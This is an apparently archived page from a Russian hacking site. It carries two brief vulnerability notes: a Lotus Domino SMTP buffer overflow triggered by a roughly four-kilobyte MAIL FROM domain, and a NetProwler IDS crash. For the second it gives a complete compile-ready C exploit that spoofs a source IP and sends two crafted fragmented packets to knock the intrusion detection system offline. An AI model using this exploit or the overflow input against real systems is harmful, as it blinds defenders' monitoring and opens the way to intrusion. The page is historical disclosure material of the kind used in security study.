Главная
Архив новостей
Безопасность в Unix
Безопасность в Windows
Сборник FAQ'ов
Телефония, фрикинг
Кредитные карты
Криптография
Истории о хакерах
Программы, утилиты
_el@sp.sz.ru

RB2 Network

уязвимость DSL-роутера R9100


Team Void


ПЕРЕПОЛНЕНИЕ БУФФЕРА В SMTP ОТ LOTUS DOMINO

Почтовый сервер Lotus Domino Enterprise Server 5.0.3 и более ранние его версии при работе на платформах под управлением Linux подвержены переполнению буффера, что влечёт за собою возможность получения прав суперпользователя. При передаче сервису параметра - домена отправителя почты около четырёх килобайт в почтовом сервисе происходит переполнение буффера:

220 *SNIP* Lotus Domino Release 5.0.1 (Intl) *SNIP* HELO dood 250 *SNIP* MAIL FROM: me@<four-kilobytes-of-junk> (crash) Вскоре после обнаружения данной уязвимости выяснилось, что подобные ошибки содержит следующее ПО, входящее в комплект различных версий Lotus Domino: версия 5.0.3, Lotus Domino версии 5.0.2, версия 5.0.2c оказалась не подвержена данной уязвимости.

УЯЗВИМОСТЬ IDS NetProwler (уязвимость была обнаружена .rain.forest.puppy.) Данная система обнаружения атак может быть выведена из строя всего двумя фрагментированными пакетами, посланными на адрес, мониторинг которого и осуществляет данная IDS. В результате NetProwler падает и запускается dr.watson

Заметьте, что это было проверено лишь на ранних версиях (3.0), поскольку разработчик - Axent не предоставил аналитику ключа для дальнейшеей работы обновлённой версии, которую аналитик скачал с сайта компании.

Демонстрационный эксплоит прилагается: /* RFProwl.c - rain forest puppy wiretrip / rfp@wiretrip.net Kills NetProwler IDS version 3.0 You need libnet installed. It's available from www.packetfactory.net. Acks to route. Only tested on RH 6.x Linux. To compile: gcc RFProwl.c -lnet -o RFProwl Plus, make sure your architecture is defined below: */ #define LIBNET_LIL_ENDIAN 1 #undef LIBNET_BIG_ENDIAN 1 #include <libnet.h> /* it's just much easier to code in the packet frags we want. :) */ char pack1[]="\x45\x00" "\x00\x24\x08\xb9\x00\x03\x3e\x06\x96\xf8\x0a\x09\x65\x0d\x0a\x09" "\x64\x01\x04\x02\x08\x0a\x00\x26\xcd\x35\x00\x00\x00\x00\x01\x02" "\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; char pack2[]="\x45\x00" "\x00\x2c\x08\xbf\x20\x00\x3e\x06\x76\xed\x0a\x09\x65\x0d\x0a\x09" "\x64\x01\x04\x08\x00\x15\xa7\xe4\x00\x48\x00\x00\x00\x00\xa0\x02" "\x7d\x78\x72\x9d\x00\x00\x02\x04\x05\xb4\x00\x00"; int main(int argc, char **argv) { int sock, c; u_long src_ip, dst_ip; printf("RFProwl - rain forest puppy / wiretrip\n"); if(argc<3){ printf("Usage: RFProwl <profiled IP/destination> <src IP(fake)>\n"); exit(EXIT_FAILURE);} dst_ip=inet_addr(argv[1]); src_ip=inet_addr(argv[2]); memcpy(pack1+16,&dst_ip,4); memcpy(pack2+16,&dst_ip,4); memcpy(pack1+12,&src_ip,4); memcpy(pack2+12,&src_ip,4); sock = open_raw_sock(IPPROTO_RAW); if (sock == -1){ perror("Socket problems: "); exit(EXIT_FAILURE);} c = write_ip(sock, pack1, 46); if (c < 46) printf("Write_ip #1 choked\n"); c = write_ip(sock, pack2, 46); if (c < 46) printf("Write_ip #2 choked\n"); printf("Packets sent\n"); return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);}


 duke.


<== Back to main page